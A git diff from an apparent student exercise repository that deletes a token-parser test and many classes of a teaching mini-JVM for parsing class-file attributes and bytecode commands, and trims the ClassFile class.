--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 89fb53394e..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index da789aa68f..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-    private int maxStack;
-    private int maxLocals;
-    private int codeLen;
-    private String code;
-
-    public String getCode() {
-        return code;
-    }
-
-    private ByteCodeCommand[] cmds ;
-    public ByteCodeCommand[] getCmds() {
-    	return cmds;
-    }
-    private LineNumberTable lineNumTable;
-    private LocalVariableTable localVarTable;
-    private StackMapTable stackMapTable;
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
-        super(attrNameIndex, attrLen);
-        this.maxStack = maxStack;
-        this.maxLocals = maxLocals;
-        this.codeLen = codeLen;
-        this.code = code;
-        //this.cmds = cmds;
-    }
-
-    public void setLineNumberTable(LineNumberTable t) {
-        this.lineNumTable = t;
-    }
-
-    public void setLocalVariableTable(LocalVariableTable t) {
-        this.localVarTable = t;
-    }
-
-    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-        int attributeNameIndex = iter.nextU2Int();
-        int attributeLength = iter.nextU4Int();
-        int maxStack = iter.nextU2Int();
-        int maxLocals = iter.nextU2Int();
-
-        int codeLength = iter.nextU4Int();
-        String code = iter.nextUxToHexString(codeLength);
-
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
-
-        //exception
-        int exceptionTableLength = iter.nextU2Int();
-        if (exceptionTableLength > 0) {
-            String exceptionTable = iter.nextUxToHexString(exceptionTableLength);
-            throw new RuntimeException("there's exception to be implemented !!");
-        }
-
-        //attribute table of the code
-        int attributesCount = iter.nextU2Int();
-        for (int i = 0; i < attributesCount; i++) {
-            int subAttributeNameIndex = iter.nextU2Int();
-            iter.back(2);
-
-            String subAttributeName = clzFile.getConstantPool().getUTF8String(subAttributeNameIndex);
-
-            if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LINE_NUM_TABLE)) {
-
-                LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
-                codeAttr.setLineNumberTable(lineNumberTable);
-
-            } else if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LOCAL_VAR_TABLE)) {
-
-                LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
-                codeAttr.setLocalVariableTable(localVariableTable);
-
-            } else {
-                throw new RuntimeException("there's other sub attribute to added : name = " + subAttributeName);
-            }
-
-        }
-
-        return codeAttr;
-    }
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-
-    private void setStackMapTable(StackMapTable t) {
-        this.stackMapTable = t;
-
-    }
-
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 373e487c08..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		int attributeNameIndex = iter.nextU2Int();
-		int attributeLength = iter.nextU4Int();
-		LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex,attributeLength);
-
-		//lineNumberItem block
-		int lineNumberTableLength = iter.nextU2Int();
-		for(int i = 0 ;i<lineNumberTableLength ;i++)
-		{
-			LineNumberItem lineNumberItem = new LineNumberItem();
-			lineNumberItem.setStartPC(iter.nextU2Int());
-			lineNumberItem.setLineNum(iter.nextU2Int());
-			lineNumberTable.addLineNumberItem(lineNumberItem);
-		}
-
-		return lineNumberTable;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 3eb2654e36..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index aa72c294f3..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-
-		int attributeNameIndex = iter.nextU2Int();
-		int attributeLength = iter.nextU4Int();
-
-		LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex,attributeLength);
-
-		int localVariableTableLength = iter.nextU2Int();
-		for(int i = 0 ;i < localVariableTableLength;i++){
-			LocalVariableItem localVariableItem = new LocalVariableItem();
-			localVariableItem.setStartPC(iter.nextU2Int());
-			localVariableItem.setLength(iter.nextU2Int());
-			localVariableItem.setNameIndex(iter.nextU2Int());
-			localVariableItem.setDescIndex(iter.nextU2Int());
-			localVariableItem.setIndex(iter.nextU2Int());
-			localVariableTable.addLocalVariableItem(localVariableItem);
-		}
-
-		
-		return localVariableTable;
-	}
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-	
-	
-	
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 3a8b6b8013..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2Int();
-		int len = iter.nextU4Int();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 32a2a0a64d..650ca8375d 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -2,11 +2,6 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-import java.util.ArrayList;
-import java.util.List;
 
 public class ClassFile {
 	
@@ -16,8 +11,7 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
+	
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -54,18 +48,7 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
+	
 	
 	
 	public void print(){
@@ -80,23 +63,13 @@ public void print(){
 		
 	}
 	
-	public String getClassName(){
+	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	public String getSuperClassName(){
+	private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return null;
-	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index 2bb36340f5..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		
-		return null;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
